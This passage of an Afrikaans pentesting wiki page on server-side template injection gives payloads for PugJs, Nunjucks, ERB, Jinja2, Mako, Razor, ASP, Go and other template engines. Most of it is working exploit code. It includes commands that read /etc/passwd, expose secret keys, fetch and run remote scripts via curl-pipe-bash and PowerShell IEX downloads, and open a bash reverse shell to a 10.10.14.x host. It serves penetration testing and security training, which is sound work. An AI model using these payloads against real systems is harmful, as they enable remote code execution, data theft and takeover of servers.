|              | Evalueer en render uitvoer              |
|              | Evalueer en render HTML-gecodeerde uitvoer |
|              | Kommentaar                                 |
| en           | Laat kode toe (standaard gedeaktiveer)        |

* \= 49

**Kliëntkant**
```python
{{:%22test%22.toString.constructor.call({},%22alert(%27xss%27)%22)()}}
```
**Bediener Kante**
```bash
{{:"pwnd".toString.constructor.call({},"return global.process.mainModule.constructor._load('child_process').execSync('cat /etc/passwd').toString()")()}}
```
**Meer inligting**

* [https://appcheck-ng.com/template-injection-jsrender-jsviews/](https://appcheck-ng.com/template-injection-jsrender-jsviews/)

### PugJs (NodeJS)

* `#{7*7} = 49`
* `#{function(){localLoad=global.process.mainModule.constructor._load;sh=localLoad("child_process").exec('touch /tmp/pwned.txt')}()}`
* `#{function(){localLoad=global.process.mainModule.constructor._load;sh=localLoad("child_process").exec('curl 10.10.14.3:8001/s.sh | bash')}()}`

**Voorbeeld bedienerkant weergawe**
```javascript
var pugjs = require('pug');
home = pugjs.render(injected_page)
```
**Meer inligting**

* [https://licenciaparahackear.github.io/en/posts/bypassing-a-restrictive-js-sandbox/](https://licenciaparahackear.github.io/en/posts/bypassing-a-restrictive-js-sandbox/)

### NUNJUCKS (NodeJS) <a href="#nunjucks" id="nunjucks"></a>

* \{{7\*7\}} = 49
* \{{foo\}} = Geen uitvoer
* \#{7\*7} = #{7\*7}
* \{{console.log(1)\}} = Fout
```javascript
{{range.constructor("return global.process.mainModule.require('child_process').execSync('tail /etc/passwd')")()}}
{{range.constructor("return global.process.mainModule.require('child_process').execSync('bash -c \"bash -i >& /dev/tcp/10.10.14.11/6767 0>&1\"')")()}}
```
**Meer inligting**

* [http://disse.cting.org/2016/08/02/2016-08-02-sandbox-break-out-nunjucks-template-engine](http://disse.cting.org/2016/08/02/2016-08-02-sandbox-break-out-nunjucks-template-engine)

### ERB (Ruby)

* `{{7*7}} = {{7*7}}`
* `${7*7} = ${7*7}`
* `<%= 7*7 %> = 49`
* `<%= foobar %> = Fout`
```python
<%= system("whoami") %> #Execute code
<%= Dir.entries('/') %> #List folder
<%= File.open('/etc/passwd').read %> #Read file

<%= system('cat /etc/passwd') %>
<%= `ls /` %>
<%= IO.popen('ls /').readlines()  %>
<% require 'open3' %><% @a,@b,@c,@d=Open3.popen3('whoami') %><%= @b.readline()%>
<% require 'open4' %><% @a,@b,@c,@d=Open4.popen4('whoami') %><%= @c.readline()%>
```
**Meer inligting**

* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#ruby](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#ruby)

### Slim (Ruby)

* `{ 7 * 7 }`
```
{ %x|env| }
```
**Meer inligting**

* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#ruby](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#ruby)

### Python

Kyk na die volgende bladsy om truuks oor **arbitrary command execution bypassing sandboxes** in python te leer:

{% content-ref url="../../generic-methodologies-and-resources/python/bypass-python-sandboxes/" %}
[bypass-python-sandboxes](../../generic-methodologies-and-resources/python/bypass-python-sandboxes/)
{% endcontent-ref %}

### Tornado (Python)

* `{{7*7}} = 49`
* `${7*7} = ${7*7}`
* `{{foobar}} = Error`
* `{{7*'7'}} = 7777777`
```python
{% raw %}
{% import foobar %} = Error
{% import os %}

{% import os %}
{% endraw %}





{{os.system('whoami')}}
{{os.system('whoami')}}
```
**Meer inligting**

* [https://ajinabraham.com/blog/server-side-template-injection-in-tornado](https://ajinabraham.com/blog/server-side-template-injection-in-tornado)

### Jinja2 (Python)

[Amptelike webwerf](http://jinja.pocoo.org)

> Jinja2 is 'n volwaardige sjabloon enjin vir Python. Dit het volle unicode ondersteuning, 'n opsionele geïntegreerde sandboxed uitvoeringsomgewing, word wyd gebruik en is BSD gelisensieer.

* `{{7*7}} = Fout`
* `${7*7} = ${7*7}`
* `{{foobar}} Niks`
* `{{4*4}}[[5*5]]`
* `{{7*'7'}} = 7777777`
* `{{config}}`
* `{{config.items()}}`
* `{{settings.SECRET_KEY}}`
* `{{settings}}`
* `<div data-gb-custom-block data-tag="debug"></div>`
```python
{% raw %}
{% debug %}
{% endraw %}





{{settings.SECRET_KEY}}
{{4*4}}[[5*5]]
{{7*'7'}} would result in 7777777
```
**Jinja2 - Sjabloonformaat**
```python
{% raw %}
{% extends "layout.html" %}
{% block body %}
<ul>
{% for user in users %}
<li><a href="{{ user.url }}">{{ user.username }}</a></li>
{% endfor %}
</ul>
{% endblock %}
{% endraw %}


```
[**RCE nie afhanklik van**](https://podalirius.net/en/articles/python-vulnerabilities-code-execution-in-jinja-templates/) `__builtins__`:
```python
{{ self._TemplateReference__context.cycler.__init__.__globals__.os.popen('id').read() }}
{{ self._TemplateReference__context.joiner.__init__.__globals__.os.popen('id').read() }}
{{ self._TemplateReference__context.namespace.__init__.__globals__.os.popen('id').read() }}

# Or in the shotest versions:
{{ cycler.__init__.__globals__.os.popen('id').read() }}
{{ joiner.__init__.__globals__.os.popen('id').read() }}
{{ namespace.__init__.__globals__.os.popen('id').read() }}
```
**Meer besonderhede oor hoe om Jinja te misbruik**:

{% content-ref url="jinja2-ssti.md" %}
[jinja2-ssti.md](jinja2-ssti.md)
{% endcontent-ref %}

Ander payloads in [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jinja2](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#jinja2)

### Mako (Python)
```python
<%
import os
x=os.popen('id').read()
%>
${x}
```
**Meer inligting**

* [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#mako](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection#mako)

### Razor (.Net)

* `@(2+2) <= Sukses`
* `@() <= Sukses`
* `@("{{code}}") <= Sukses`
* `@ <=Sukses`
* `@{} <= FOUT!`
* `@{ <= FOUT!`
* `@(1+2)`
* `@( //C#Code )`
* `@System.Diagnostics.Process.Start("cmd.exe","/c echo RCE > C:/Windows/Tasks/test.txt");`
* `@System.Diagnostics.Process.Start("cmd.exe","/c powershell.exe -enc IABpAHcAcgAgAC0AdQByAGkAIABoAHQAdABwADoALwAvADEAOQAyAC4AMQA2ADgALgAyAC4AMQAxADEALwB0AGUAcwB0AG0AZQB0ADYANAAuAGUAeABlACAALQBPAHUAdABGAGkAbABlACAAQwA6AFwAVwBpAG4AZABvAHcAcwBcAFQAYQBzAGsAcwBcAHQAZQBzAHQAbQBlAHQANgA0AC4AZQB4AGUAOwAgAEMAOgBcAFcAaQBuAGQAbwB3AHMAXABUAGEAcwBrAHMAXAB0AGUAcwB0AG0AZQB0ADYANAAuAGUAeABlAA==");`

Die .NET `System.Diagnostics.Process.Start` metode kan gebruik word om enige proses op die bediener te begin en dus 'n webshell te skep. Jy kan 'n kwesbare webapp voorbeeld vind in [https://github.com/cnotin/RazorVulnerableApp](https://github.com/cnotin/RazorVulnerableApp)

**Meer inligting**

* [https://clement.notin.org/blog/2020/04/15/Server-Side-Template-Injection-(SSTI)-in-ASP.NET-Razor/](https://clement.notin.org/blog/2020/04/15/Server-Side-Template-Injection-\(SSTI\)-in-ASP.NET-Razor/)
* [https://www.schtech.co.uk/razor-pages-ssti-rce/](https://www.schtech.co.uk/razor-pages-ssti-rce/)

### ASP

* `<%= 7*7 %>` = 49
* `<%= "foo" %>` = foo
* `<%= foo %>` = Niks
* `<%= response.write(date()) %>` = \<Datum>
```xml
<%= CreateObject("Wscript.Shell").exec("powershell IEX(New-Object Net.WebClient).downloadString('http://10.10.14.11:8000/shell.ps1')").StdOut.ReadAll() %>
```
**Meer Inligting**

* [https://www.w3schools.com/asp/asp\_examples.asp](https://www.w3schools.com/asp/asp\_examples.asp)

### Mojolicious (Perl)

Alhoewel dit Perl is, gebruik dit merke soos ERB in Ruby.

* `<%= 7*7 %> = 49`
* `<%= foobar %> = Error`
```
<%= perl code %>
<% perl code %>
```
### SSTI in GO

In Go se sjabloon enjin kan bevestiging van sy gebruik gedoen word met spesifieke payloads:

* `{{ . }}`: Ontbloot die datastruktuur invoer. Byvoorbeeld, as 'n objek met 'n `Password` attribuut oorgedra word, kan `{{ .Password }}` dit blootstel.
* `{{printf "%s" "ssti" }}`: Verwag om die string "ssti" te vertoon.
* `{{html "ssti"}}`, `{{js "ssti"}}`: Hierdie payloads behoort "ssti" terug te gee sonder om "html" of "js" by te voeg. Verdere riglyne kan in die Go dokumentasie [hier](https://golang.org/pkg/text/template) ondersoek word.

**XSS Exploitation**

Met die `text/template` pakket kan XSS eenvoudig wees deur die payload direk in te voeg. In teenstelling hiermee, kodeer die `html/template` pakket die antwoord om dit te voorkom (bv. `{{"<script>alert(1)</script>"}}` lei tot `&lt;script&gt;alert(1)&lt;/script&gt;`). Nietemin kan sjabloon definisie en aanroep in Go hierdie kodering omseil: \{{define "T1"\}}alert(1)\{{end\}} \{{template "T1"\}}

vbnet Copy code

**RCE Exploitation**

RCE uitbuiting verskil aansienlik tussen `html/template` en `text/template`. Die `text/template` module laat toe dat enige publieke funksie direk aangeroep word (met die “call” waarde), wat nie in `html/template` toegelaat word nie. Dokumentasie vir hierdie modules is beskikbaar [hier vir html/template](https://golang.org/pkg/html/template/) en [hier vir text/template](https://golang.org/pkg/text/template/).

Vir RCE via SSTI in Go kan objekmetodes aangeroep word. Byvoorbeeld, as die verskafde objek 'n `System` metode het wat opdragte uitvoer, kan dit soos volg uitgebuit word: `{{ .System "ls" }}`. Toegang tot die bronkode is gewoonlik nodig om dit uit te buit, soos in die gegewe voorbeeld:
```go
func (p Person) Secret (test string) string {
out, _ := exec.Command(test).CombinedOutput()
return string(out)
}
```
**Meer inligting**

* [https://blog.takemyhand.xyz/2020/06/ssti-breaking-gos-template-engine-to](https://blog.takemyhand.xyz/2020/06/ssti-breaking-gos-template-engine-to)
* [https://www.onsecurity.io/blog/go-ssti-method-research/](https://www.onsecurity.io/blog/go-ssti-method-research/)

### Meer Exploits

Kyk na die res van [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection) vir meer exploits. Jy kan ook interessante etiket inligting vind in [https://github.com/DiogoMRSilva/websitesVulnerableToSSTI](https://github.com/DiogoMRSilva/websitesVulnerableToSSTI)

## BlackHat PDF

{% file src="../../.gitbook/assets/EN-Server-Side-Template-Injection-RCE-For-The-Modern-Web-App-BlackHat-15 (1).pdf" %}

## Verwante Hulp

As jy dink dit kan nuttig wees, lees:

* [Flask truuks](../../network-services-pentesting/pentesting-web/flask.md)
* [Python magiese funksies](https://github.com/carlospolop/hacktricks/blob/master/pentesting-web/ssti-server-side-template-injection/broken-reference/README.md)

## Gereedskap

* [https://github.com/Hackmanit/TInjA](https://github.com/Hackmanit/TInjA)
* [https://github.com/vladko312/sstimap](https://github.com/vladko312/sstimap)
* [https://github.com/epinna/tplmap](https://github.com/epinna/tplmap)
* [https://github.com/Hackmanit/template-injection-table](https://github.com/Hackmanit/template-injection-table)

## Brute-Force Opsporing Lys

{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/ssti.txt" %}

## Oefening & Verwysings

* [https://portswigger.net/web-security/server-side-template-injection/exploiting](https://portswigger.net/web-security/server-side-template-injection/exploiting)
* [https://github.com/DiogoMRSilva/websitesVulnerableToSSTI](https://github.com/DiogoMRSilva/websitesVulnerableToSSTI)
* [https://portswigger.net/web-security/server-side-template-injection](https://portswigger.net/web-security/server-side-template-injection)

<figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FelPCTwoecVdnsfjxCZtN%2Fimage.png?alt=media&#x26;token=9ee4ff3e-92dc-471c-abfe-1c25e446a6ed" alt=""><figcaption></figcaption></figure>

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{% endhint %}